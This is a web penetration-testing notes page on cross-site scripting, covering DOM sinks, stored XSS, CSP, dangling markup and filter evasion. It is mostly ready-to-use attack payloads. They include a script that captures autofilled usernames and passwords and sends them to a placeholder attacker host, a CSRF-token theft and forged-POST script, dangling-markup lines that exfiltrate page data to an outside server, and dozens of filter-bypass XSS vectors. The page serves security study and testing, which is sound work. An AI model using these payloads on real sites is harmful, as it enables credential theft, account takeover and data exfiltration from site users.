> For the complete documentation index, see [llms.txt](https://zeyad-abulaban.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zeyad-abulaban.gitbook.io/notes/web-penetration-testing/web-vulns/xss.md).

# Cross Site Scripting

## DOM-Based XSS

Attacks involve manipulating a website’s **existing JavaScript code** to **execute malicious JavaScript**; it can be either **stored** or **reflected**.

* [**jQuery**](#jquery)
* [**AngularJS**](#angularjs)
* [**Eval**](#eval)
* [**Sinks that can lead to DOM-XSS**](#sinks-that-can-lead-to-dom-xss)

To test for DOM XSS in an HTML sink, place a random alphanumeric string into the source (such as `location.search`), then use developer tools to inspect the HTML and find where your string appears. Note that the browser's "View source" option won't work for DOM XSS testing because it doesn't take account of changes that have been performed in the HTML by JavaScript.

* Note that browsers behave differently with regards to URL-encoding, Chrome, Firefox, and Safari will URL-encode `location.search` and `location.hash`, while \*\*IE11 \*\*and **Microsoft Edge (pre-Chromium)** will not URL-encode these sources. If your data gets URL-encoded before being processed, then an XSS attack is unlikely to work.

### jQuery

If a JavaScript library such as jQuery is being used, look out for sinks that can alter DOM elements on the page. For instance, the `attr()` function in jQuery can change attributes on DOM elements. If data is read from a user-controlled source like the URL and then passed to the `attr()` function, then it may be possible to manipulate the value sent to cause XSS. For example, here we have some JavaScript that changes an anchor element's `href` attribute using data from the URL.

```js
$(function(){  
$('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl'));  
});
```

You can exploit this by modifying the URL so that the `location.search` source contains a malicious JavaScript URL. After the page's JavaScript applies this malicious URL to the back link's `href`, clicking on the back link will execute it:

```js
?returnUrl=javascript:alert(document.domain)
```

### AngularJS

If a framework like [**AngularJS**](https://portswigger.net/web-security/cross-site-scripting/contexts/angularjs-sandbox) is used, it may be possible to execute JavaScript without angle brackets or events. When a site uses the `ng-app` attribute on an HTML element, it will be processed by AngularJS. In this case, AngularJS will execute JavaScript inside double curly braces that can occur directly in HTML or inside attributes.

* Example Payload: `{{$on.constructor('alert(1)')()}}`

> **More** [**Payloads**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)

### Eval

Sources aren't limited to data that is directly exposed by browsers - they can also originate from the website. For example, websites often reflect URL parameters in the HTML response from the server. This is commonly associated with normal XSS, but it can also lead to so-called reflected+DOM vulnerabilities.

In a reflected+DOM vulnerability, the server processes data from the request, and echoes the data into the response. The reflected data might be placed into a JavaScript string literal, or a data item within the DOM, such as a form field. A script on the page then processes the reflected data in an unsafe way, ultimately writing it to a dangerous sink.

`eval('var data = "reflected string"');`

* You can always use **arithmetic operators** to separate the expressions when escaping them for example:

```json
\"-alert(1)}//

#This is used to bypass the following JSON query. (btw the Double quotes was being escaped)
`{"searchTerm":"hello", "results":[1,2,3]}`
```

## Sinks that can lead to DOM-XSS

document.write()\
document.writeln()\
document.domain\
element.innerHTML\
element.outerHTML\
element.insertAdjacentHTML\
element.onevent

**The following jQuery functions are also sinks that can lead to DOM-XSS vulnerabilities:**

add()\
after()\
append()\
animate()\
insertAfter()\
insertBefore()\
before()\
html()\
prepend()\
replaceAll()\
replaceWith()\
wrap()\
wrapInner()\
wrapAll()\
has()\
constructor()\
init()\
index()\
jQuery.parseHTML()\
$.parseHTML()
-------------

## Stored XSS

### Input Forms

* **User/Profiles page**: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.
* **Shopping cart**: the application allows the user to store items into the shopping cart which can then be reviewed later
* **File Manager**: application that allows upload of files
* **Application settings/preferences**: application that allows the user to set preferences
* **Forum/Message board**: application that permits exchange of posts among users
* **Blog**: if the blog application permits to users submitting comments
* **Log**: if the application stores some users input into logs

### Steal Passwords from Password-Managers payload

```js
<script>
    function x() {
    document.getElementById('creds').innerHTML = window.location.href='http://<ATTACKERSITE>/abuqasem.php?='+document.getElementById('username').value+':'+document.getElementById('password').value;
    }

    function timer() {
        setTimeout(x, 1000);
    }
</script>
<body onload="timer()">
    <h1 id="creds"></h1>
    <form id="" method="POST" style="visibility: hidden; position: absolute; top: -1000; left: 1000;">
        Username: <input type="text" name="username" id="username" /><br />
        Password: <input type="password" name="password" id="password" /><br />
        <input type="submit" value="gö" />
    </form>
</body>
```

### Steal CSRF token then do a POST request

```js
<script>  
var req = new XMLHttpRequest();  
req.onload = handleResponse;  
req.open('get','url/path',true);  
req.send();  
function handleResponse() {  
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];  
    var changeReq = new XMLHttpRequest();  
    changeReq.open('post', 'url/path', true);  
    changeReq.send('csrf='+token+'&param=value')  
};  
</script>
```

> NOTE: Internet Explorer handles TXT files with HTML content as HTML content

***

## Content Security Policy

* CSP is a browser security mechanism that aims to mitigate XSS and some other attacks. It works by restricting the resources (such as scripts and images) that a page can load and restricting whether a page can be framed by other pages.
* To enable CSP, a response needs to include an HTTP response header called `Content-Security-Policy` with a value containing the policy. The policy itself consists of one or more directives, separated by semicolons.

***

## Dangling markup injection

Dangling markup injection is a technique for capturing data cross-domain in situations where a full cross-site scripting attack isn't possible. Suppose an application embeds attacker-controllable data into its responses in an unsafe way: `<input type="text" name="input" value="CONTROLLABLE DATA HERE` Suppose also that the application does not filter or escape the `>` or `"` characters. An attacker can use the following syntax to break out of the quoted attribute value and the enclosing tag, and return to an HTML context: `"><img src='//attacker-website.com?` This payload creates an `img` tag and defines the start of a `src` attribute containing a URL on the attacker's server. Note that the attacker's payload doesn't close the `src` attribute, which is left "dangling". When a browser parses the response, it will look ahead until it encounters a single quotation mark to terminate the attribute. Everything up until that character will be treated as being part of the URL and will be sent to the attacker's server within the URL query string. Any non-alphanumeric characters, including newlines, will be URL-encoded. The impact is that we may capture CSRF tokens or emails or any sensitive data.

### Bypass img wildcard

```
"><table background='//your-collaborator-id.burpcollaborator.net?'
```

## NOTE

* The Chrome browser has decided to tackle dangling markup attacks by preventing tags like `img` from defining URLs containing raw characters such as angle brackets and newlines. This will prevent attacks since the data that would otherwise be captured will generally contain those raw characters, so the attack is blocked.

## Evasion techniques

### XSS Locator (Polygot)

This test will execute in multiple contexts including html, script string, js and url.

```js
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
```

### Image XSS Using the JavaScript Directive

\***IE7.0** doesn’t support the JavaScript directive in context of an image

```js
<IMG SRC="javascript:alert('XSS');">
```

### No Quotes and no Semicolon

```js
<IMG SRC=javascript:alert('XSS')>
```

### Case Insensitive XSS Attack Vector

```js
<IMG SRC=JaVaScRiPt:alert('XSS')>
```

### HTML Entities

```js
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
```

### Grave Accent Obfuscation

If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string.

```js
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
```

### Malformed A Tags

* Skip the HREF attribute and get to the meat of the XSS -> Verified on Chrome.

```js
\<a onmouseover="alert(document.cookie)"\>xss link\</a\>
```

* Or Chrome loves to replace missing quotes for you :)

```js
\<a onmouseover=alert(document.cookie)\>xss link\</a\>
```

### Malformed IMG Tags

```js
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
```

### FromCharCode

If no quotes of any kind are allowed you can `eval()` a `fromCharCode` in JavaScript to create any XSS vector you need:

```js
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
```

### Default SRC Tag to Get Past Filters that Check SRC Domain

This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like `onblur`, `onclick` giving you an extensive amount of variations for many injections listed here.

```js
<IMG SRC=# onmouseover="alert('xss')">
```

### IMG onerror and JavaScript Alert Encode

```js
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
```

### Decimal HTML Character References

* All of the XSS examples that use a javascript: directive inside of an `<IMG` tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode

```js
`<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>`
```

### INPUT Image

```js
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
```

### BODY Image

```js
<BODY BACKGROUND="javascript:alert('XSS')">
```

### IMG Dynsrc

```js
<IMG DYNSRC="javascript:alert('XSS')">
```

### IMG Lowsrc

```js
<IMG LOWSRC="javascript:alert('XSS')">
```

### VBscript in an Image

```js
<IMG SRC='vbscript:msgbox("XSS")'>
```

### SVG Object Tag

```js
<svg/onload=alert('XSS')>
```

> More bypasses here : <https://owasp.org/www-community/xss-filter-evasion-cheatsheet>

***

## Takeaways

* XSS payloads don’t always execute immediately after they’re submitted. Because a payload could be used in multiple locations on a site, be sure to visit each location.
* When sites sanitize user input by modifying it instead of encoding or escaping values, you should continue testing the site’s Server-Side logic. Think about how a developer might have coded their solution and what assump- tions they’ve made. For example, check whether the developer considered what happens if two src attributes are submitted or if spaces are replaced with slashes.
* Always be on the lookout for URL parameters that might be reflected on the page because you have control over those values. If you find any URL parameters that are rendered on a page, consider their context as well. URL parameters might present opportunities to get around filters that remove special characters.

## Reports:

* [**https://hackerone.com/reports/106293/**](https://hackerone.com/reports/106293/)
* [**https://hackerone.com/reports/104359/**](https://hackerone.com/reports/104359/)
* [**https://klikki.fi/adv/yahoo.html**](https://klikki.fi/adv/yahoo.html) \[worth reading again in book]
* [**https://mahmoudsec.blogspot.com/2015/09/how-i-found-xss-vulnerability-in-google.html**](https://mahmoudsec.blogspot.com/2015/09/how-i-found-xss-vulnerability-in-google.html)
* [**https://blog.it-securityguard.com/bugbounty-the-5000-google-xss/**](https://blog.it-securityguard.com/bugbounty-the-5000-google-xss/)
* [**http://strukt93.blogspot.com/2016/07/united-to-xss-united.html**](http://strukt93.blogspot.com/2016/07/united-to-xss-united.html)

## References:

* [**http://html5sec.org/**](http://html5sec.org/)
* [**https://blog.innerht.ml/the-misunderstood-x-xss-protection/**](https://blog.innerht.ml/the-misunderstood-x-xss-protection/)
* [**https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet**](https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet)
* [**https://xsshunter.com/**](https://xsshunter.com/) \[tool]
* [**https://whitton.io/articles/uber-­turning-­self-­xss-­into-­good-­xss/.**](https://whitton.io/articles/uber-­turning-­self-­xss-­into-­good-­xss/.)
* [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://zeyad-abulaban.gitbook.io/notes/web-penetration-testing/web-vulns/xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
